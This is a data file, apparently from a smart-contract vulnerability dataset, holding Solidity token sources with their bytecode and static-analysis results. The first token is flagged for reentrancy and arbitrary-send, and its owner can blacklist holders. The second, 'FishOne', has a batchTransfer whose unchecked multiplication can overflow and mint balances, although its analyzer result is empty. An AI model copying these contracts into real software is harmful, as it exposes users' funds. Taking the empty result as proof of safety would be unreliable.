swapTokensAtAmount) external onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } function toggleSwap(bool _swapEnabled) external onlyOwner{ swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount , uint256 maxWalletSize) external onlyOwner { require(maxTxAmount > 5000000 * 10**9 ); _maxTxAmount = maxTxAmount; _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } function setRemoveTxLimit(bool enable) external onlyOwner{ _removeTxLimit = enable; } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c3c8cd8011610064578063c3c8cd8014610567578063c492f0461461057c578063dd62ed3e1461059c578063f2fde38b146105e257600080fd5b8063a2a957bb146104d7578063a9059cbb146104f7578063ae0f3f4514610517578063bfd792841461053757600080fd5b80638f70ccf7116100d15780638f70ccf7146104565780638f9a55c01461047657806395d89b411461048c57806398a5c315146104b757600080fd5b80637d1db4a5146103f55780637f2feddc1461040b5780638da5cb5b1461043857600080fd5b80632fd689e31161016f5780636d8aa8f81161013e5780636d8aa8f81461038b5780636fc3eaec146103ab57806370a08231146103c0578063715018a6146103e057600080fd5b80632fd689e314610319578063313ce5671461032f57806349bd5a5e1461034b5780636b9990531461036b57600080fd5b8063095ea7b3116101ab578063095ea7b31461026c5780631694505e1461029c57806318160ddd146102d457806323b872dd146102f957600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063093bb7201461024c57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f73660046119db565b610602565b005b34801561020a57600080fd5b5060408051808201909152601381527229b2b73234b733903a37903a34329026b7b7b760691b60208201525b6040516102439190611aa0565b60405180910390f35b34801561025857600080fd5b506101fc610267366004611b05565b610728565b34801561027857600080fd5b5061028c610287366004611b20565b610770565b6040519015158152602001610243565b3480156102a857600080fd5b506013546102bc906001600160a01b031681565b6040516001600160a01b039091168152602001610243565b3480156102e057600080fd5b50670de0b6b3a76400005b604051908152602001610243565b34801561030557600080fd5b5061028c610314366004611b4c565b610787565b34801561032557600080fd5b506102eb60175481565b34801561033b57600080fd5b5060405160098152602001610243565b34801561035757600080fd5b506014546102bc906001600160a01b031681565b34801561037757600080fd5b506101fc610386366004611b8d565b6107f0565b34801561039757600080fd5b506101fc6103a6366004611b05565b61083b565b3480156103b757600080fd5b506101fc610883565b3480156103cc57600080fd5b506102eb6103db366004611b8d565b6108b0565b3480156103ec57600080fd5b506101fc6108d2565b34801561040157600080fd5b506102eb60155481565b34801561041757600080fd5b506102eb610426366004611b8d565b60116020526000908152604090205481565b34801561044457600080fd5b506000546001600160a01b03166102bc565b34801561046257600080fd5b506101fc610471366004611b05565b610946565b34801561048257600080fd5b506102eb60165481565b34801561049857600080fd5b50604080518082019091526002815261534d60f01b6020820152610236565b3480156104c357600080fd5b506101fc6104d2366004611baa565b6109a5565b3480156104e357600080fd5b506101fc6104f2366004611bc3565b6109d4565b34801561050357600080fd5b5061028c610512366004611b20565b610a2c565b34801561052357600080fd5b506101fc610532366004611bf5565b610a39565b34801561054357600080fd5b5061028c610552366004611b8d565b60106020526000908152604090205460ff1681565b34801561057357600080fd5b506101fc610a81565b34801561058857600080fd5b506101fc610597366004611c17565b610ab7565b3480156105a857600080fd5b506102eb6105b7366004611c9b565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105ee57600080fd5b506101fc6105fd366004611b8d565b610b58565b6000546001600160a01b031633146106355760405162461bcd60e51b815260040161062c90611cd4565b60405180910390fd5b60005b81518110156107245760145482516001600160a01b039091169083908390811061066457610664611d09565b60200260200101516001600160a01b0316141580156106b5575060135482516001600160a01b03909116908390839081106106a1576106a1611d09565b60200260200101516001600160a01b031614155b15610712576001601060008484815181106106d2576106d2611d09565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8061071c81611d35565b915050610638565b5050565b6000546001600160a01b031633146107525760405162461bcd60e51b815260040161062c90611cd4565b60148054911515600160b81b0260ff60b81b19909216919091179055565b600061077d338484610c42565b5060015b92915050565b6000610794848484610d66565b6107e684336107e185604051806060016040528060288152602001611e4d602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611275565b610c42565b5060019392505050565b6000546001600160a01b0316331461081a5760405162461bcd60e51b815260040161062c90611cd4565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146108655760405162461bcd60e51b815260040161062c90611cd4565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316146108a357600080fd5b476108ad816112af565b50565b6001600160a01b038116600090815260026020526040812054610781906112e9565b6000546001600160a01b031633146108fc5760405162461bcd60e51b815260040161062c90611cd4565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109705760405162461bcd60e51b815260040161062c90611cd4565b601454600160a01b900460ff161561098757600080fd5b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109cf5760405162461bcd60e51b815260040161062c90611cd4565b601755565b6000546001600160a01b031633146109fe5760405162461bcd60e51b815260040161062c90611cd4565b600582111580610a0f575060058111155b610a1857600080fd5b600893909355600a91909155600955600b55565b600061077d338484610d66565b6000546001600160a01b03163314610a635760405162461bcd60e51b815260040161062c90611cd4565b6611c37937e080008211610a7657600080fd5b601591909155601655565b6012546001600160a01b0316336001600160a01b031614610aa157600080fd5b6000610aac306108b0565b90506108ad8161136d565b6000546001600160a01b03163314610ae15760405162461bcd60e51b815260040161062c90611cd4565b60005b82811015610b52578160056000868685818110610b0357610b03611d09565b9050602002016020810190610b189190611b8d565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610b4a81611d35565b915050610ae4565b50505050565b6000546001600160a01b03163314610b825760405162461bcd60e51b815260040161062c90611cd4565b6001600160a01b038116610be75760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161062c565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610ca45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161062c565b6001600160a01b038216610d055760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161062c565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610dca5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161062c565b6001600160a01b038216610e2c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161062c565b60008111610e8e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161062c565b6000546001600160a01b03848116911614801590610eba57506000546001600160a01b03838116911614155b1561116e57601454600160a01b900460ff16610f53576000546001600160a01b03848116911614610f535760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161062c565b601454600160b81b900460ff16610fb657601554811115610fb65760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161062c565b6001600160a01b03831660009081526010602052604090205460ff16158015610ff857506001600160a01b03821660009081526010602052604090205460ff16155b6110505760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161062c565b6014546001600160a01b0383811691161461109757601454600160b81b900460ff166110975760165481611083846108b0565b61108d9190611d4e565b1061109757600080fd5b60006110a2306108b0565b6017546015549192508210159082106110bb5760155491505b8080156110d25750601454600160a81b900460ff16155b80156110ec57506014546001600160a01b03868116911614155b80156111015750601454600160b01b900460ff165b801561112657506001600160a01b03851660009081526005602052604090205460ff16155b801561114b57506001600160a01b03841660009081526005602052604090205460ff16155b1561116b576111598261136d565b47801561116957611169476112af565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806111b057506001600160a01b03831660009081526005602052604090205460ff165b806111e257506014546001600160a01b038581169116148015906111e257506014546001600160a01b03848116911614155b156111ef57506000611269565b6014546001600160a01b03858116911614801561121a57506013546001600160a01b03848116911614155b1561122c57600854600c55600954600d555b6014546001600160a01b03848116911614801561125757506013546001600160a01b03858116911614155b1561126957600a54600c55600b54600d555b610b52848484846114e7565b600081848411156112995760405162461bcd60e51b815260040161062c9190611aa0565b5060006112a68486611d66565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610724573d6000803e3d6000fd5b60006006548211156113505760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161062c565b600061135a611515565b90506113668382611538565b9392505050565b6014805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113b5576113b5611d09565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561140e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114329190611d7d565b8160018151811061144557611445611d09565b6001600160a01b03928316602091820292909201015260135461146b9130911684610c42565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906114a4908590600090869030904290600401611d9a565b600060405180830381600087803b1580156114be57600080fd5b505af11580156114d2573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b806114f4576114f461157a565b6114ff8484846115a8565b80610b5257610b52600e54600c55600f54600d55565b600080600061152261169f565b90925090506115318282611538565b9250505090565b600061136683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116df565b600c5415801561158a5750600d54155b1561159157565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806115ba8761170d565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115ec908761176a565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461161b90866117ac565b6001600160a01b03891660009081526002602052604090205561163d8161180b565b6116478483611855565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161168c91815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a76400006116ba8282611538565b8210156116d657505060065492670de0b6b3a764000092509050565b90939092509050565b600081836117005760405162461bcd60e51b815260040161062c9190611aa0565b5060006112a68486611e0b565b600080600080600080600080600061172a8a600c54600d54611879565b925092509250600061173a611515565b9050600080600061174d8e8787876118ce565b919e509c509a509598509396509194505050505091939550919395565b600061136683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611275565b6000806117b98385611d4e565b9050838110156113665760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161062c565b6000611815611515565b90506000611823838361191e565b3060009081526002602052604090205490915061184090826117ac565b30600090815260026020526040902055505050565b600654611862908361176a565b60065560075461187290826117ac565b6007555050565b6000808080611893606461188d898961191e565b90611538565b905060006118a6606461188d8a8961191e565b905060006118be826118b88b8661176a565b9061176a565b9992985090965090945050505050565b60008080806118dd888661191e565b905060006118eb888761191e565b905060006118f9888861191e565b9050600061190b826118b8868661176a565b939b939a50919850919650505050505050565b60008260000361193057506000610781565b600061193c8385611e2d565b9050826119498583611e0b565b146113665760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161062c565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146108ad57600080fd5b80356119d6816119b6565b919050565b600060208083850312156119ee57600080fd5b823567ffffffffffffffff80821115611a0657600080fd5b818501915085601f830112611a1a57600080fd5b813581811115611a2c57611a2c6119a0565b8060051b604051601f19603f83011681018181108582111715611a5157611a516119a0565b604052918252848201925083810185019188831115611a6f57600080fd5b938501935b82851015611a9457611a85856119cb565b84529385019392850192611a74565b98975050505050505050565b600060208083528351808285015260005b81811015611acd57858101830151858201604001528201611ab1565b81811115611adf576000604083870101525b50601f01601f1916929092016040019392505050565b803580151581146119d657600080fd5b600060208284031215611b1757600080fd5b61136682611af5565b60008060408385031215611b3357600080fd5b8235611b3e816119b6565b946020939093013593505050565b600080600060608486031215611b6157600080fd5b8335611b6c816119b6565b92506020840135611b7c816119b6565b929592945050506040919091013590565b600060208284031215611b9f57600080fd5b8135611366816119b6565b600060208284031215611bbc57600080fd5b5035919050565b60008060008060808587031215611bd957600080fd5b5050823594602084013594506040840135936060013592509050565b60008060408385031215611c0857600080fd5b50508035926020909101359150565b600080600060408486031215611c2c57600080fd5b833567ffffffffffffffff80821115611c4457600080fd5b818601915086601f830112611c5857600080fd5b813581811115611c6757600080fd5b8760208260051b8501011115611c7c57600080fd5b602092830195509350611c929186019050611af5565b90509250925092565b60008060408385031215611cae57600080fd5b8235611cb9816119b6565b91506020830135611cc9816119b6565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611d4757611d47611d1f565b5060010190565b60008219821115611d6157611d61611d1f565b500190565b600082821015611d7857611d78611d1f565b500390565b600060208284031215611d8f57600080fd5b8151611366816119b6565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611dea5784516001600160a01b031683529383019391830191600101611dc5565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611e2857634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611e4757611e47611d1f565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207fee616602be6dd40d1f2c283a737cb59d663849a855acf3801b43ffa2d4a68e64736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,411
0x78420eb790e77b4a6b459e58a6d3b16a59e0f6b2
pragma solidity ^0.4.21; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } /** * @title Pausable token * @dev StandardToken modified with pausable transfers. **/ contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } /** * @title FishOne Token * * @dev Implementation of FishOne Token based on the basic standard token. */ contract FishOne is PausableToken { /** * Public variables of the token * The following variables are OPTIONAL vanities. One does not have to include them. * They allow one to customise the token contract & in no way influences the core functionality. * Some wallets/interfaces might not even bother to look at this information. */ string public name = "FishOne"; string public symbol = "FT"; uint256 public decimals = 18; uint256 public INITIAL_SUPPLY = 100 * 10000 * 10000 * (10 ** decimals); /** * @dev Function to check the amount of tokens that an owner allowed to a spender. */ function FishOne() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; } function () public { //if ether is sent to this address, send it back. revert(); } function batchTransfer(address[] _receivers, uint256 _value) public whenNotPaused returns (bool) { uint cnt = _receivers.length; uint256 amount = uint256(cnt) * _value; require(cnt > 0 && cnt <= 20); require(_value > 0 && balances[msg.sender] >= amount); balances[msg.sender] = balances[msg.sender].sub(amount); for (uint i = 0; i < cnt; i++) { balances[_receivers[i]] = balances[_receivers[i]].add(_value); emit Transfer(msg.sender, _receivers[i], _value); } return true; } }
0x6060604052600436106100fb5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461010b578063095ea7b31461019557806318160ddd146101cb57806323b872dd146101f05780632ff2e9dc14610218578063313ce5671461022b5780633f4ba83a1461023e5780635c975abb14610253578063661884631461026657806370a082311461028857806383f12fec146102a75780638456cb59146102f85780638da5cb5b1461030b57806395d89b411461033a578063a9059cbb1461034d578063d73dd6231461036f578063dd62ed3e14610391578063f2fde38b146103b6575b341561010657600080fd5b600080fd5b341561011657600080fd5b61011e6103d5565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561015a578082015183820152602001610142565b50505050905090810190601f1680156101875780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101a057600080fd5b6101b7600160a060020a0360043516602435610473565b604051901515815260200160405180910390f35b34156101d657600080fd5b6101de61049e565b60405190815260200160405180910390f35b34156101fb57600080fd5b6101b7600160a060020a03600435811690602435166044356104a4565b341561022357600080fd5b6101de6104d1565b341561023657600080fd5b6101de6104d7565b341561024957600080fd5b6102516104dd565b005b341561025e57600080fd5b6101b761055c565b341561027157600080fd5b6101b7600160a060020a036004351660243561056c565b341561029357600080fd5b6101de600160a060020a0360043516610590565b34156102b257600080fd5b6101b7600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284375094965050933593506105ab92505050565b341561030357600080fd5b61025161075a565b341561031657600080fd5b61031e6107de565b604051600160a060020a03909116815260200160405180910390f35b341561034557600080fd5b61011e6107ed565b341561035857600080fd5b6101b7600160a060020a0360043516602435610858565b341561037a57600080fd5b6101b7600160a060020a036004351660243561087c565b341561039c57600080fd5b6101de600160a060020a03600435811690602435166108a0565b34156103c157600080fd5b610251600160a060020a03600435166108cb565b60048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561046b5780601f106104405761010080835404028352916020019161046b565b820191906000526020600020905b81548152906001019060200180831161044e57829003601f168201915b505050505081565b60035460009060a060020a900460ff161561048d57600080fd5b6104978383610966565b9392505050565b60015490565b60035460009060a060020a900460ff16156104be57600080fd5b6104c98484846109d2565b949350505050565b60075481565b60065481565b60035433600160a060020a039081169116146104f857600080fd5b60035460a060020a900460ff16151561051057600080fd5b6003805474ff0000000000000000000000000000000000000000191690557f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b60035460a060020a900460ff1681565b60035460009060a060020a900460ff161561058657600080fd5b6104978383610b52565b600160a060020a031660009081526020819052604090205490565b60035460009081908190819060a060020a900460ff16156105cb57600080fd5b8551925084830291506000831180156105e5575060148311155b15156105f057600080fd5b6000851180156106195750600160a060020a033316600090815260208190526040902054829010155b151561062457600080fd5b600160a060020a03331660009081526020819052604090205461064d908363ffffffff610c4c16565b600160a060020a03331660009081526020819052604081209190915590505b8281101561074e576106b78560008089858151811061068757fe5b90602001906020020151600160a060020a031681526020810191909152604001600020549063ffffffff610c5e16565b6000808884815181106106c657fe5b90602001906020020151600160a060020a031681526020810191909152604001600020558581815181106106f657fe5b90602001906020020151600160a060020a031633600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8760405190815260200160405180910390a360010161066c565b50600195945050505050565b60035433600160a060020a0390811691161461077557600080fd5b60035460a060020a900460ff161561078c57600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790557f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600354600160a060020a031681565b60058054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561046b5780601f106104405761010080835404028352916020019161046b565b60035460009060a060020a900460ff161561087257600080fd5b6104978383610c6d565b60035460009060a060020a900460ff161561089657600080fd5b6104978383610d7f565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60035433600160a060020a039081169116146108e657600080fd5b600160a060020a03811615156108fb57600080fd5b600354600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b6000600160a060020a03831615156109e957600080fd5b600160a060020a038416600090815260208190526040902054821115610a0e57600080fd5b600160a060020a0380851660009081526002602090815260408083203390941683529290522054821115610a4157600080fd5b600160a060020a038416600090815260208190526040902054610a6a908363ffffffff610c4c16565b600160a060020a038086166000908152602081905260408082209390935590851681522054610a9f908363ffffffff610c5e16565b600160a060020a0380851660009081526020818152604080832094909455878316825260028152838220339093168252919091522054610ae5908363ffffffff610c4c16565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b600160a060020a03338116600090815260026020908152604080832093861683529290529081205480831115610baf57600160a060020a033381166000908152600260209081526040808320938816835292905290812055610be6565b610bbf818463ffffffff610c4c16565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b600082821115610c5857fe5b50900390565b60008282018381101561049757fe5b6000600160a060020a0383161515610c8457600080fd5b600160a060020a033316600090815260208190526040902054821115610ca957600080fd5b600160a060020a033316600090815260208190526040902054610cd2908363ffffffff610c4c16565b600160a060020a033381166000908152602081905260408082209390935590851681522054610d07908363ffffffff610c5e16565b60008085600160a060020a0316600160a060020a031681526020019081526020016000208190555082600160a060020a031633600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a350600192915050565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054610db7908363ffffffff610c5e16565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a3506001929150505600a165627a7a72305820a910f02c3fe8c059fb414254e3a056f340d71192bc72995e8db6be02fe183bcb0029
{"success": true, "error": null, "results": {}}
5,412
0xee53278308f0321c74b37e8a660f5c0407381293
